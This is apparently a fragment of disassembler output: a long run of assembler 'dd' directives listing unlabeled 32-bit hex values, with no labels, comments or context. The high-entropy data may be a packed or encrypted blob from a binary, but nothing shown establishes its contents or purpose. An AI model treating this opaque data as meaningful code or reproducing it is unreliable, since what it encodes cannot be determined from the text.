dd 6D90B951h, 9E702D54h, 0A17F16B7h, 0AF460347h, 0FC03312h
dd 3FF58B87h, 0DFE175BCh, 0EFB32BBAh, 4825CC4Bh, 0EF2F7541h
dd 0EC807603h, 0B944E1DFh, 68BCCC6Fh, 713EA72Dh, 959ACC3h
dd 9A011756h, 20540E38h, 6D09EDD0h, 0F852B361h, 6AF0ADh
dd 2949921Ah, 2AD3E9E8h, 80B25995h, 515AF030h, 802E2EB1h
dd 832079C1h, 3C083EF3h, 0F322AD62h, 0DF097625h, 5A24257Ah
dd 0B6601C37h, 0B7EE8073h, 620A5150h, 0F5E011E9h, 3EC97B25h
dd 27CF281Fh, 56EECD5h, 0CC5561C3h, 83D4EB03h, 2CF90812h
dd 95A2299Fh, 874CB016h, 5FD3CE2Fh, 126971A5h, 31DFC1FEh
dd 42042AC3h, 2D00BD9Dh, 6B9E7975h, 89F36595h, 65DCEB8Eh
dd 9782246Fh, 55DE1992h, 0F05874F4h, 62A39F22h, 1B53B6Dh
dd 0D685375h, 0B3B23E1Dh, 2BE6EED2h, 7A5D7192h, 6F92A1Fh
dd 0D8285A01h, 60A5045Bh, 1B65C7A6h, 1944B872h, 1071CE3h
dd 80B27FDAh, 40478F66h, 835E18FEh, 24573D5Dh, 0B0FA7D52h
dd 42B770ABh, 90F9F7D5h, 57E93CE7h, 6068C618h, 0E87B3E62h
dd 0D3FE6954h, 2E5E3DFh, 12EFF74Dh, 0AE610663h, 38B80C21h
dd 418940E5h, 710ED8F7h, 2560560Fh, 6E98C581h, 2C44092Eh
dd 0F73C3F09h, 0E6499B44h, 0AF277D70h, 8B72511Fh, 63EAF545h
dd 2F26FC5Dh, 7A09DE54h, 0E6BBE8C4h, 20F62723h, 0C2CCABF5h
dd 580C041Bh, 0F14109C0h, 5FF1B05Fh, 0D08D8478h, 0C0467365h
dd 8E9A2850h, 22EA7A4Ah, 0C6F62E72h, 0A539D525h, 252869FEh
dd 27517652h, 82C655h, 0D02028B8h, 7230050Fh, 0C121B62Eh
dd 0DF663D02h, 1EB6E03Ah, 6C75091Ah, 0C9F54CE9h, 133B57CFh
dd 4BA0BFB4h, 0BBBC4D25h, 5A048548h, 0AE41EA68h, 0E24450CCh
dd 0E9120888h, 310B2527h, 6FA859D9h, 0DAF107C9h, 2D6E52CBh
dd 305CEF68h, 0E4B6E9E1h, 348EA474h, 0EA90BE52h, 0C083AEBCh
dd 64CF03E2h, 0C517ABA2h, 0BDF0DFB0h, 2CA7DB63h, 0E917AE10h
dd 0C6C86584h, 9AA7F256h, 77B904ECh, 0AA747343h, 0CA5AE6A8h
dd 2FB557D3h, 108AF7C6h, 0FDD3096h, 2949B889h, 88627E29h
dd 0F122410Bh, 8F5C0B96h, 0BB763283h, 8AAECE4Eh, 0D8788472h
dd 0D920BFCh, 6E3DE632h, 0C25CE8FDh, 0DC61BFB4h, 0EC3BFC44h
dd 4A89DEF1h, 8B98F513h, 578277E1h, 0F7729DFCh, 7C80BC48h
dd 62AAB625h, 6231802Bh, 35595135h, 0FE326647h, 0BDCA70B4h
dd 0F868E781h, 0C6312E08h, 0B600F526h, 882553B5h, 244C5EF7h
dd 91BA64C3h, 7AF828F5h, 86683802h, 58C796Ah, 0A8E4E9D1h
dd 460D009Ch, 0F792768h, 86222A82h, 0C5E831C1h, 0C0B0C83h
dd 2FEEF255h, 0FBDEDA1Fh, 0EBFD1619h, 44C7B3Dh, 5341805Bh
dd 34CB652h, 6092455Fh, 9BD6736h, 995B5F7Ch, 29F68984h
dd 0B4D9ECBBh, 556ECA4h, 0AF02E968h, 4E01EA05h, 0D420DF8Fh
dd 783C63EDh, 0E95B5416h, 43049207h, 0A0A95D65h, 56573E9Ah
dd 0E7E90602h, 0F779FD24h, 28EADAEBh, 49A1FB7Dh, 4A2E0202h
dd 655C0009h, 0F67DDE73h, 4F9561ACh, 4FEBA1Bh, 7738EF8h
dd 59C94DA2h, 57889B01h, 8B82408h, 0C424A56Fh, 73662802h
dd 0A0CDFC24h, 9592508h, 0FFF123C0h, 1F5B7F16h, 0D25497EAh
dd 0F66629C0h, 0C6006590h, 0B8338456h, 23C21D9h, 5F613539h
dd 1C02354h, 0F4656CE9h, 9D074BA6h, 77C43141h, 9E107A14h
dd 77682D0Eh, 7EFE3889h, 1B8357C9h, 0E6EF2EABh, 44F81101h
dd 5D710CA4h, 0C63152A0h, 0ADEFE5Eh, 0CB8DE85Ah, 0B87CE119h
dd 5C9E4120h, 0D520020Ah, 2CFD3FA2h, 4003AE8Ch, 392E0D3Dh
dd 3501E176h, 233B7C52h, 52A4D5FFh, 0CD2704F3h, 0EA297E11h
dd 580149D8h, 4C018BD0h, 0F708AB23h, 44DC20DDh, 80437F3Fh
dd 0B62DE0D1h, 97273A6Ch, 82491356h, 5899E9D9h, 0C7812D8Fh
dd 0F66F36DFh, 67197C1h, 0C7D85569h, 610E7E4Fh, 66712B68h
dd 954A9063h, 46EBC0DCh, 12C603EBh, 178411Ch, 47784B4h
dd 9089E908h, 6EF480EBh, 55E1EDB0h, 0B3AB9Bh, 2402A810h
dd 0B508A289h, 5A742F45h, 4397509Eh, 0F23B6BA1h, 49ACD3A2h
dd 0CCBDE90Bh, 40858656h, 0DA000F86h, 0F3831454h, 0BFDE5689h
dd 3E85BB07h, 0F901F78Ah, 0CA803646h, 0C64B61BEh, 24863CE0h
dd 8064821h, 51015753h, 0C8885BB1h, 0BD2DC3E8h, 97A83256h
dd 0D01EBE0Ah, 0FB03BB02h, 518B83Eh, 1B19EA18h, 0E800FF01h
dd 52C23160h, 0C8559C29h, 3059170Ch, 0F29FE95Fh, 0FCBA66C0h
dd 2E6FAD3Eh, 849E2C1h, 53000E0Ch, 8D4AA868h, 96E9DF73h
dd 5DA443D1h, 0B3C05255h, 919DFEDCh, 906A57A3h, 8F341A8Dh
dd 0CB814E00h, 72C81B47h, 0A8DB5EF7h, 4F415BBDh, 419A39FAh
dd 160AA020h, 0A8BE6DC6h, 3082A4A6h, 2A22FF25h, 3E796D4Ch
dd 0A001C188h, 99D8098Ah, 14DECF43h, 79D09889h, 9D6988CCh
dd 5CB5614h, 45712B54h, 0F726DE82h, 0BE024067h, 41A66456h
dd 0FFF9441Bh, 86F155C6h, 35ADE9C1h, 0CB08D06Fh, 0C93E690Ah
dd 0F5882A5Dh, 0F553C1B7h, 0BD1115E4h, 0A568DE98h, 5BD87F5Ch
dd 0A85E588Bh, 56A01039h, 7E2D116h, 9130E4Bh, 1C604CDFh
dd 0DD56D589h, 0AFF056EEh
dd 8DCA24D3h, 9909D716h, 8E3A0466h, 5029B7FFh, 9395DF01h
dd 0EF81660h, 0AF52259Eh, 5C3534C0h, 0BA3C1AA9h, 0E45F0B39h
dd 0C9B2B400h, 0C5E98D02h, 51590E78h, 5F59C94Dh, 5D5AC4F9h
dd 5E4ABE78h, 0A262A0CAh, 5041098h, 47EDAB5h, 9F91A98h
dd 257F8058h, 29B6F89h, 72A7350Ch, 25C32B74h, 8EC8A2B8h
dd 42E0D14Eh, 8F20496Ah, 4CAEFD5Ah, 7EC44B50h, 4B3847FEh
dd 536F68BDh, 61E9A3C0h, 0D9F6A9ABh, 7B88FBF0h, 34E64ADAh
dd 62A2010Fh, 0F80EC529h, 1CDC48A1h, 0EA98FD2Fh, 0EC4F8850h
dd 0D24179FCh, 75F6A32Bh, 0FEB64916h, 68EE60FFh, 0B4023B8Bh
dd 92E95F1Fh, 8DBADEAEh, 7BF05770h, 8403DBCh, 68591F5Ah
dd 617C2FE0h, 14D72958h, 35DB91E9h, 460E8C95h, 3E19744Ah
dd 2EE90C21h, 432FCE7Dh, 26B94CC1h, 145AF057h, 2DBF2FE1h
dd 9A32A09h, 205768C9h, 60055DF9h, 78D4121Dh, 0EBB0BA2Dh
dd 80214BE9h, 7E3EBD56h, 0A2E1B2Fh, 8F059AF8h, 8BAAA222h
dd 11EE10DEh, 5F4E89A2h, 0BC83979Ch, 42E6165h, 27824D0Ch
dd 813DC56Fh, 203CE08Eh, 0CBA8E8AEh, 7D82C5FEh, 26B8F3C5h
dd 5E0862D4h, 17E92513h, 94162AB7h, 34F2AABh, 0FB0F462Dh
dd 2C61F028h, 0E1175A88h, 0CA070765h, 9802411h, 98D7FD19h
dd 0AA5067FFh, 9CB10296h, 0E87E7745h, 0DC15A10Bh, 1EE90BD4h
dd 0E62514DEh, 275C7C6Ah, 3975D0F6h, 0EA651A2Ch, 8871A32Ah
dd 0CDE00814h, 4966804h, 8251DABBh, 77518D68h, 3F855199h
dd 0B4C525D1h, 83C3717Eh, 730B3FEEh, 81A7297Bh, 51EA0108h
dd 0B53C48EDh, 2469EF4Eh, 96258938h, 0EEB58DF0h, 717E974Fh
dd 0E9F18638h, 4261970h, 8D12F3BFh, 9AA4EF34h, 5860B055h
dd 51C25A82h, 255F189h, 75015E59h, 0C5FF2D09h, 0E2E9046Bh
dd 0F2F3BEF1h, 7C7C51CBh, 9F64DE58h, 96BD89FBh, 96B4CA0Dh
dd 6420177Dh, 4E536001h, 575F8E0Fh, 0E9965C80h, 32FB6FC6h
dd 66C33122h, 9A0B9077h, 0B873D213h, 218C10CEh, 8AD4B24h
dd 5FAD3AFDh, 0F3140398h, 51D84082h, 685580F7h, 0B844212Ch
dd 20B2DC0h, 0E681006Dh, 7CB1D97h, 0F25308E9h, 0FB0104A2h
dd 0CDFB1868h, 7C67E090h, 146E5C9Eh, 0D3E084A4h, 0BB4A3214h
dd 0E91688CBh, 8B28AAF5h, 327F4E4Ch, 1254FE9Ch, 4D075F25h
dd 0BF8DA441h, 18FC3317h, 0D841D2ACh, 3AE9E16Eh, 6F522DEEh
dd 4F364B2Ch, 7B7F3A0h, 6C6245D7h, 0F2B9C7D2h, 617A9F32h
dd 0A65EFD90h, 0C11B62B7h, 724A2B75h, 124CC5ABh, 0C5DFBF53h
dd 97FE8550h, 0CA5D92EAh, 0B60941F1h, 51645902h, 72BD57F4h
dd 0B2F83443h, 9BE9BF34h, 46D5CE1Ah, 7232F45Dh, 0E115657h
dd 0AB170AB3h, 9F134298h, 2D609A6Ah, 0B28683Dh, 440AB15h
dd 2D057AB3h, 78515B84h, 0E4C08C80h, 5FC48008h, 0D229AAFFh
dd 76E97F1Ch, 0DAD9B718h, 9071B42h, 60D68C62h, 9F79DD72h
dd 0C3F17C52h, 5A607A78h, 0D25F6D28h, 0B8D9806h, 14566483h
dd 0BF0D5280h, 7A029D31h, 7E683225h, 0ED394063h, 67F02037h
dd 3C765A60h, 763F0760h, 852D029h, 0AF71D14Bh, 85F32F23h
dd 48C1680Dh, 7C6F9E1h, 13F94EA5h, 9CDA9B2Ah, 505301DAh
dd 0E151A7B4h, 0E9EFE8E5h, 5E81902Fh, 61EE60C2h, 0E89D27D5h
dd 7E23F46Ch, 4B5B9792h, 14F10CA0h, 0D1BF1C13h, 2F4DF80Bh
dd 0E1FF93DDh, 189568E1h, 2577B7ADh, 0AAFE2914h, 20E1DD5Ah
dd 0E9095051h, 5B9DF312h, 0C4BBA6DEh, 0FCE96002h, 6630C180h
dd 0D0069A25h, 0EA48782Dh, 0E9C70520h, 33916231h, 0FD2A5BDAh
dd 0EB8750F1h, 0FFE2925Eh, 2A52EF80h, 0C6B808D5h, 4226FA0Bh
dd 0A098DE7Ch, 0F7F08008h, 4C9A2554h, 0F4F9A1FDh, 68933315h
dd 5F2DF07Bh, 50765669h, 4EFBE8Dh, 0E3706968h, 0B13118BEh
dd 4A3BA2Eh, 947282Fh, 0AD61EAD1h, 0AE04B47Eh, 0EC97FBB2h
dd 565F2758h, 0E0D14126h, 257D7083h, 462519ECh, 3A80774h
dd 0C19D02E2h, 0BA067961h, 3D69703Eh, 625BAD43h, 0DFC5559h
dd 0FF59539Ah, 38BAADD3h, 905F13BBh, 24113904h, 7C3C10Fh
dd 4ED1FB87h, 159D3F0Bh, 1D132051h, 147B36Fh, 54896A93h
dd 45267C29h, 0F35F0C40h, 0DD24085h, 0B4B20B0Eh, 48945550h
dd 42815164h, 13241A7Bh, 0B3EB8CEh, 1D3D07A0h, 56098805h
dd 89D1EABDh, 660162F5h, 69138931h, 6093E0B0h, 10D1833Dh
dd 58268743h, 4684D908h, 0F74E36FCh, 0D4A9C9A4h, 96D727CCh
dd 0BCE916E7h, 0CBB5EC40h, 7D9BD5FBh, 5220179Eh, 0E42D07F0h
dd 331D1405h, 75927B48h, 7833350h, 0FB1152FDh, 0EF61E4A5h
dd 4A505763h, 2A1F4164h, 0C195CD04h, 6B61AA12h, 68005378h
dd 0C5073B61h, 0DFF75F73h, 45CF49D2h, 9551259Eh, 0BB2D5A52h
dd 0F0E984A7h, 548F981h, 0CB87D1F7h, 5CD05882h, 0C54FBC80h
dd 0F864814Eh, 8F73AAFh, 4D71373h, 52FDCCFBh, 0E913B604h
dd 44AE1FADh, 0BEB03D66h, 1D373B2h, 38E5507Dh, 62EB3B28h
dd 6A7D2D4Dh, 0E6565E3Ch, 801EA2FFh, 0A80B34E5h, 0A314E411h
dd 5B0B3CD6h, 7942DA9Eh, 25BBCDBh, 7589B1F2h, 25A07637h
dd 0B5B0B4D7h, 0F64B1579h, 0CDF75ABDh, 0C8010571h, 0E9C54F59h
dd 46474ED3h, 0ABE685C5h, 0A96ECE44h, 2792CBFAh, 8A91817Eh
dd 129752C2h, 2FE8F15Ch, 8BA462BEh, 0C55BB078h, 0AAD34DA2h
dd 0F2E9AC02h, 24F1D1E3h, 44B3081Dh, 66C573Bh, 0E47F55B9h
dd 0C9B820BAh, 9F27C995h, 0BA15007Eh, 285347BDh, 560B0990h
dd 0F5C080D6h, 7539ACC1h, 8EF82B0Dh, 1E4588A5h, 0FD15E909h
dd 0B70D1CFEh, 1E804C7Ch, 2969D9DEh, 202790E9h, 682D30DDh
dd 0A24E30B7h, 0FB1C4A2Ch, 1FE69CD0h, 79F73919h, 1570D625h
dd 2B68561Dh, 8BAE4B38h, 0E305E2Fh, 40D6E957h, 0E8B55DABh
dd 825678F1h, 0D17913D5h, 8F6A52B2h, 38BE4B0Ah, 1C256875h
dd 556981Dh, 2A5B81CFh, 0F7C3C763h, 7C8706Bh, 885B762Ch
dd 0B50AA2C5h, 2F7427CAh, 0CC75DB02h, 2D06082Ah, 900ACA78h
dd 0AB77A405h, 0E39DE986h, 0D43FF3B1h, 17ED82Fh, 0BE56D901h
dd 30982FEFh, 1835E930h, 0C749E34h, 2258B4C0h, 0F15234F7h
dd 84BCBCAAh, 99AAAEFEh, 0C243FDD9h, 52647657h, 4668E540h
dd 2DE93240h, 6B52F6F3h, 0FEEB4A13h, 30F4C9AEh, 0E0EBFC3h
dd 2B414626h, 0AD38181h, 8ED50F2Ch, 0BEA1123Eh, 0AB4F578Ah
dd 4D7DE498h, 0F33C1B9Ah, 126B34Ah, 0D0F7585Eh, 93FB3196h
dd 0E90812DEh, 7F73B1F6h, 7385BF2Dh, 0BB61E4E9h, 0E628F588h
dd 35527C66h, 0BCCAD4BEh, 567C7ABFh, 9C58ECF4h, 3FF13E81h
dd 2C212E5Eh, 55479F3Fh, 5C9BD07h, 71EE07D9h, 3FF50AECh
dd 0E4503A67h, 1813C007h, 0CE19E960h, 0BA40B59Eh, 4CAF6C23h
dd 0CF057B3Fh, 0EF10D21Ah, 2FD4704h, 0AADEFA12h, 15208C4Ch
dd 0D134879Fh, 1929639h, 0AB543CB8h, 2416E951h, 0D5975860h
dd 4690E51Ch, 0EA6E6F20h, 42E29707h, 2569DD5Eh, 19942F98h
dd 1C92A7EFh, 31203C38h, 1D49B30Ch, 0BF226BA6h, 6CFFCABCh
dd 29649D83h, 6B352851h, 9F2550A4h, 4F5DAB89h, 303F2469h
dd 6BEC6815h, 5D2F2925h, 40172344h, 2322FEEDh, 8D595E30h
dd 0D418ABFCh, 7FE93270h, 49DF4AA9h, 5CC80E94h, 4303371Ch
dd 8E0F4615h, 0F3FFB49Eh, 0D931C662h, 0D8C60539h, 0EABA7A94h
dd 0D629B030h, 99B905Ah, 554F0205h, 1200A856h, 3134E99Eh
dd 3D597ECEh, 443D0DF8h, 0D368BF27h, 31FAD2E1h, 1991303Eh
dd 0C3198A74h, 195F42Fh
dd 575EF5EDh, 0C8F749C4h, 3F5A1EC2h, 6B71B0Bh, 0BDF229F5h
dd 4181114Ah, 484DAF6h, 0BB1EF280h, 0B5C5A1FCh, 81F08468h
dd 0DB0FCDB2h, 4B87F894h, 6AF192FFh, 0F60A76FCh, 0D10A95DDh
dd 0E9090807h, 0BF58504Fh, 492FDCh, 0FE17A685h, 0E581022Dh
dd 58E36892h, 82625E5Dh, 63BC6E11h, 85C9AC40h, 508CEF27h
dd 4518BE17h, 0DAE00058h, 816E152Ah, 0B44EB1Fh, 410863D3h
dd 0CABA3DC9h, 6A097A87h, 9DC2704Ah, 2EE3102Eh, 0CA4E32B2h
dd 7E0905C3h, 13FB711Fh, 2A8CF162h, 0BA67AFEh, 224901E9h
dd 85D1A96h, 685027C0h, 15DE5B5h, 8FE155BAh, 0BAF2EADh
dd 4A5AC490h, 4662857Bh, 9950A57h, 6C9982DDh, 442DA9h
dd 5CD66A9Dh, 0EE298004h, 95BBD5E9h, 0BF9613AAh, 683DFA8Bh
dd 1EDE73C8h, 727EEF23h, 0DFC28562h, 0E783C0A2h, 57428C7Eh
dd 7058DD52h, 8E53B721h, 7A25CD81h, 505EE0F1h, 801EB801h
dd 0C529FA0Eh, 0F42F013Dh, 61025689h, 3305C002h, 0D5E846AFh
dd 0CD20F72Dh, 72CB075h, 10EC2250h, 0E418720Fh, 9FE5977h
dd 8E5C9CE9h, 98385913h, 0DD0A0363h, 0EF1FE945h, 3DEA5338h
dd 95103D12h, 4FA87391h, 0EC3FE8A1h, 0C2EC51DDh, 0C2B41957h
dd 2BA8FEFDh, 0FC125BDDh, 0C26FA763h, 0C187F87Bh, 2292B2A8h
dd 8A08A05Ah, 7F313440h, 0E04325F7h, 0A0120F66h, 0B6FAFEA9h
dd 68682D7Ch, 7DCEFECh, 106F62Ch, 8548EC7h, 4F25334Eh
dd 0EBFF1A0Fh, 72096B9Ah, 136C1D01h, 31299EDBh, 9DD5AB6Eh
dd 12D3C87Fh, 0EB885580h, 0CC681259h, 155F4435h, 0B3A2AF10h
dd 985D5CC9h, 62A2688Fh, 2323574h, 34CA750Bh, 75116A5Dh
dd 0E8BF54DAh, 82C5ADB1h, 27C2507Dh, 3271E83Eh, 7F095B12h
dd 2D086506h, 4611A2DDh, 84000997h, 12390258h, 385A99F6h
dd 5D653ECh, 8988BA0Bh, 0EC92C98h, 5E7D7A3Fh, 75044410h
dd 0BB6A2E5Bh, 0E52192F1h, 4C290A01h, 985908E8h, 0F71D826Ch
dd 0E932D3C4h, 0FD5A7504h, 12658E89h, 17100724h, 0AF30944Bh
dd 82E24751h, 0F7220A68h, 0F7A74A45h, 31AE0682h, 42827157h
dd 1DDEDBF6h, 17F2662h, 3A51C888h, 9BB0A0C5h, 0BEDC401Eh
dd 1C2E7F09h, 5AD8007Eh, 414B3Dh, 5954EB0Dh, 907D0509h
dd 0E97925FAh, 0D6B5B79Ah, 0BF52E592h, 0AE2B757Dh, 0B97D853h
dd 62AD2B66h, 39492CBh, 0C146801h, 0E773F7C2h, 0E0B5E989h
dd 1E440C88h, 6488830Fh, 8040F17h, 0A2FB4BE5h, 79BE01D8h
dd 31B14D05h, 1853A97Ah, 0BA249021h, 145B702Ch, 9DD2F778h
dd 0C478BC4Fh, 12AE0768h, 272EEB4Bh, 0E8BADA61h, 7042F149h
dd 9B91D1B5h, 710FD727h, 0D5160DA5h, 680F0313h, 0D9276A73h
dd 0B72650D9h, 20F32FD4h, 9F90385Ah, 109944D1h, 7BDF1B9Fh
dd 0F2CE75BEh, 0EF92DFD5h, 0E0C0E945h, 18029B04h, 2F02010Bh
dd 4009E540h, 96EE35BEh, 4D7DC22Dh, 48C5DD1Ah, 0E8B59044h
dd 0ED54C861h, 9A91F2BEh, 68B0DD08h, 30C3A718h, 0C32FC580h
dd 8AB924ECh, 0C4024695h, 0A356098h, 0E3BB676Ah, 0E32FC50Dh
dd 0F8B97A89h, 6196F7A4h, 7E210368h, 8C9F00B3h, 5ED16DF6h
dd 133B4341h, 347EE6B5h, 81FB87ADh, 0B8EB89FFh, 69DA74F6h
dd 0DDC38750h, 0E3D4EC27h, 95284DF0h, 0F16A937Ch, 0E619E70Bh
dd 91EA4C24h, 5CE9CD05h, 1214BD3Bh, 8AB2F2D3h, 99703F89h
dd 77FD2C2Fh, 0CBBE3014h, 2E138D96h, 2D40B7EBh, 20D0E4AFh
dd 8700A655h, 0D2F681EEh, 0EC32E26Bh, 663412CEh, 1A01FED8h
dd 270A6C93h, 0A01A93Fh, 885A6AE9h, 7E1298A6h, 384ED1BCh
dd 3427E9FCh, 92FE4B7Fh, 1C806C67h, 8E6D4833h, 0E3B5D6E9h
dd 13BBF95Ah, 71FEA446h, 31E78ABAh, 45ED60F6h, 23ED775Eh
dd 13171A9Dh, 688081DFh, 0A0236DFCh, 748B987Ch, 0C6813B30h
dd 0DAC94FBCh, 502D017Dh, 31685A7Eh, 0C571780Ch, 4488DEFAh
dd 0C83013F0h, 0ECF10D05h, 0D123E0Dh, 23D28C00h, 904D0FDDh
dd 0BFC2881Ah, 4A6576B5h, 1801F826h, 0B918F451h, 0CB5728A3h
dd 7DC425F7h, 0AC535C56h, 0A58044h, 7A0997B8h, 4A5AF47Bh
dd 0D363F486h, 5FA20995h, 65692566h, 541C7537h, 365800E9h
dd 0F2CAB708h, 604FF955h, 2EDBBF57h, 4C418648h, 72245E8Dh
dd 0D8EA0FD4h, 0A7487AFCh, 2A12DE3Eh, 0D4BD7280h, 12512F58h
dd 8902BBF6h, 5D651B31h, 2D88EBCBh, 0F6970663h, 0AA321624h
dd 858D98h, 812C8274h, 0ED271ECBh, 0D3F7281Ah, 81805710h
dd 7C8B0F50h, 0E657325Eh, 0AD597A07h, 3F301C98h, 0A7D99D7Fh
dd 6B95540h, 80174F4Ch, 49422800h, 8C0F1609h, 42895592h
dd 5A6EEC55h, 0AAC3C457h, 0AE1F6EF6h, 14BE23BAh, 93CA0A8Fh
dd 0E9F6A4BFh, 0CACA693Dh, 174DC3C8h, 0AA7F912Ah, 64E42042h
dd 0FB5EE0A5h, 0BC3C528Bh, 0DD319B4Ch, 0C9D1313Ah, 87088ACAh
dd 8318BDAh, 56BD5E9h, 0A31B04DBh, 0CE0E784Ch, 832CD028h
dd 0B972B151h, 0DFDA59C8h, 0C702BC85h, 5258602Ah, 8005C2B2h
dd 25E9A1EAh, 0DB4E4DFCh, 0DD5E270Eh, 0F124D1Bh, 7D5777E9h
dd 0C8EB1D16h, 6C76B52Eh, 0AE9235Ah, 0B9F50841h, 0F353406Fh
dd 58616B55h, 59970FF6h, 4C5C4B80h, 40F9F62Dh, 0BE6C717Ah
dd 4798014Ah, 0C1E8C221h, 74500CE8h, 0C665F074h, 56A2DE09h
dd 0A105BE5Bh, 0FFD6BFFDh, 65C90BF6h, 48012091h, 60A67AECh
dd 0F9A9A206h, 0ADE82054h, 1890FD41h, 56F75EA3h, 498E053Ch
dd 9AA10F91h, 6B3A752Ch, 7023284h, 7A1E23E9h, 0F0870973h
dd 0C07712D9h, 0B7A0B96Ch, 0A9A2DEE6h, 590545Fh, 0FE425A68h
dd 806B3B99h, 8947F9Ah, 31E5810Fh, 383FEC11h, 43301F8Ch
dd 61ED012Ah, 8266CD27h, 0F61A570Ch, 4089FFCBh, 0E966B155h
dd 8C2E3AF1h, 0C7502E6h, 0AA20677Dh, 0BBCA830Fh, 0BAFEB2B1h
dd 5BC3E8D6h, 0B9512550h, 73B909D6h, 76B3A55Eh, 0B4667812h
dd 8412BBC9h, 0FB26326Eh, 3C6B0596h, 0D5B0E9A9h, 8901EF99h
dd 29377812h, 0F739B03Bh, 2B000DE6h, 0F309E02h, 9C0A818Ah
dd 60DCBD8Bh, 0C25ACB26h, 5207BA76h, 2039EE3h, 0A8882DB4h
dd 48F5151Eh, 0B5EAA41Ch, 0AF5748CAh, 7FEFD41Ah, 22A9CCC4h
dd 0E3004709h, 7CED75E3h, 5FFE0109h, 0B8797D29h, 7DC913ACh
dd 5C0035F1h, 4BE9965Bh, 0B2FE58F2h, 2DFAB8E0h, 7649302Fh
dd 549333A7h, 2878DDBAh, 0C9692CF8h, 289093Eh, 0BB817AEh
dd 0C9E65342h, 43A1D0Ah, 200B732h, 0E93DD30Bh, 0BCA55A59h
dd 0FEA2B6EAh, 0AED5801h, 86205CD4h, 10ED70B7h, 0A1FEEE16h
dd 0C60002DEh, 6B9AD5C1h, 0E2FBFC97h, 84F409E9h, 8AC40C96h
dd 9F6E3EAh, 7DFEA1F2h, 5C9F1614h, 1A5E72E2h, 0D3AB6809h
dd 619909F2h, 97BC4757h, 2FC4725Ah, 4368D5E9h, 15D9590Ah
dd 0CD218B09h, 0BF22C6FAh, 502F3354h, 872BA069h, 0F0FBA35h
dd 0EEBA22DDh, 0E30AFC46h, 0B4C42C58h, 0C80F60EEh, 314ED0E9h
dd 0B12C1AA3h, 48D5A5B5h, 0F3B02A10h, 0E0A180Eh, 9F4A5E10h
dd 76C54A7Eh, 0D15CB549h, 6FB1626Bh, 27DF00F7h, 4FE9E7D0h
dd 82F3D814h, 417E110Bh, 80E85E09h, 16DB5201h, 0B3EECB29h
dd 7F9C09BFh, 0A1A780C7h, 444952E3h, 4113BA2Eh, 94D0C7C8h
dd 184F185Eh, 3F25EC42h, 0A400D0EBh, 0BB79B7C1h, 256DE986h
dd 20C3983Ch, 0C9F6B153h, 5B9FA0B2h, 9F7A02Dh, 753F1F96h
dd 82C1785Dh, 841B7408h, 0EEFF602Bh, 0E9A84AACh, 0F6D4F127h
dd 0C068503Bh, 0D6D4444Ch, 26BFA402h, 0B1DF41CAh, 0C4EF9354h
dd 902AC253h, 33CB94D5h
dd 0E1C3F73Dh, 17F21A0Fh, 48DCFA77h, 2DFB314Fh, 0ED54215Fh
dd 4E21B096h, 0A3623F14h, 5BF8029Ch, 0C1E1D828h, 0A980040Eh
dd 7B744BA4h, 5FC2291Ch, 0C80F40DFh, 4F5F6C68h, 0A0F23E37h
dd 20E666FEh, 9DB00267h, 5D82D7E0h, 5BE700DEh, 0FFC28BAEh
dd 1AC2E2Eh, 72B7B206h, 0D6F21D6Dh, 0BFB1D8E9h, 0B30DBBF3h
dd 0E601AB6Ah, 2EAFCCFh, 48883B29h, 7846BF60h, 203AB3Bh
dd 205C66C7h, 1586DEF5h, 3D099C5Dh, 0BD745A75h, 0B7005212h
dd 4DC570E8h, 78CA5889h, 4064F926h, 75AF7CAEh, 1EEAE3ECh
dd 18C164FAh, 288F60F0h, 0A0293Fh, 627CB7A2h, 8BB00B5Fh
dd 11022F75h, 83E289C0h, 3C260109h, 42AF8B0Fh, 2EC2DFA4h
dd 0E98B1C74h, 778CE2C8h, 0C901EBD9h, 4D5F7C55h, 4E0FEE40h
dd 0FA924FF2h, 0ACBFEF24h, 31D3A199h, 79C08C3Bh, 0BF64F740h
dd 9F472F82h, 7168DF0Bh, 0D34A3034h, 1397CAEFh, 404BF653h
dd 2FEB74A6h, 23600864h, 2FD76849h, 0A8565E36h, 66170030h
dd 81E93713h, 238B7E4h, 3017E668h, 0DCBB5A86h, 7B90521Dh
dd 5413429Fh, 0C5417250h, 66F5F2CBh, 674F0996h, 98042F52h
dd 27ACE719h, 6429F957h, 0CCBE1283h, 6B4A7A92h, 0E9C68EF2h
dd 0C012598Eh, 710406EEh, 0B4919439h, 0EA056011h, 0BE4B2EA6h
dd 0A7D0B6CAh, 0BD23A6C6h, 36CC902h, 83415DBEh, 9A187AFCh
dd 44C0DFA8h, 18064FEh, 225D9FDAh, 723C2D34h, 0D7244097h
dd 5D5C0B9Dh, 0F4B7CF9Eh, 6F6EB43h, 7071E9C2h, 0A7594BB8h
dd 2288760Fh, 215E809Eh, 6F5A5AB0h, 75AA4317h, 0E431EF9Eh
dd 8C3A9E08h, 0FAA0559Fh, 3ACB6F5Bh, 0ACA17C58h, 0EE99BE6Ah
dd 0F0D0F1F9h, 0E9C98812h, 98137249h, 343C3042h, 7182F10Ah
dd 7CB96CFFh, 83B88026h, 0CFDAD752h, 652A6814h, 0E3E9B0FAh
dd 5D80C9A8h, 819DB857h, 15CF09EDh, 0C50A2320h, 16853A30h
dd 0A04F3A0Fh, 5CBAFEF7h, 2F8A5A9Fh, 0B2D858C6h, 97BE5621h
dd 9680AAEAh, 95225DE9h, 51C70859h, 0FA8B0F4h, 1053542Fh
dd 0D508750Ch, 3A474195h, 4A562ABFh, 98AE8B34h, 0E54F8AD1h
dd 0AFE58CF8h, 1A82EAF5h, 0C7205BB0h, 0AC3245F5h, 0DC417A2Ch
dd 5E3E747Ah, 14055995h, 0F580D111h, 0EDCB5072h, 1099015Ch
dd 0F093F60h, 30506D8Ah, 4D2D417Ch, 5A1376A6h, 705EC341h
dd 0AEA0605Eh, 0B426270Bh, 4218C314h, 25169A12h, 0E8D557ACh
dd 27F43310h, 7562FA3Ah, 0F0E1CB92h, 0C3999317h, 0EC3DF1BEh
dd 0B3AA50B8h, 43DFE90Eh, 55872A44h, 271905C0h, 0E9211509h
dd 0E99B43B6h, 68145EBh, 0B9FCB81h, 7A5530E0h, 2F804840h
dd 2B717ECEh, 0FDEB5D27h, 0C5BA784Bh, 13ECFC71h, 3787D882h
dd 2C5E0804h, 5EF002FFh, 7E7609E9h, 65F9D625h, 423BF66h
dd 86109C4Bh, 0F75C203h, 0C004EEDh, 0FDB2A38Fh, 255AD601h
dd 3958F289h, 0FB007D9Dh, 0FEB4F8E9h, 0B36329BCh, 0E9BF8425h
dd 0FFB0B27Ch, 0BEC54025h, 0A3B450D7h, 0E47B65A1h, 348E7E0h
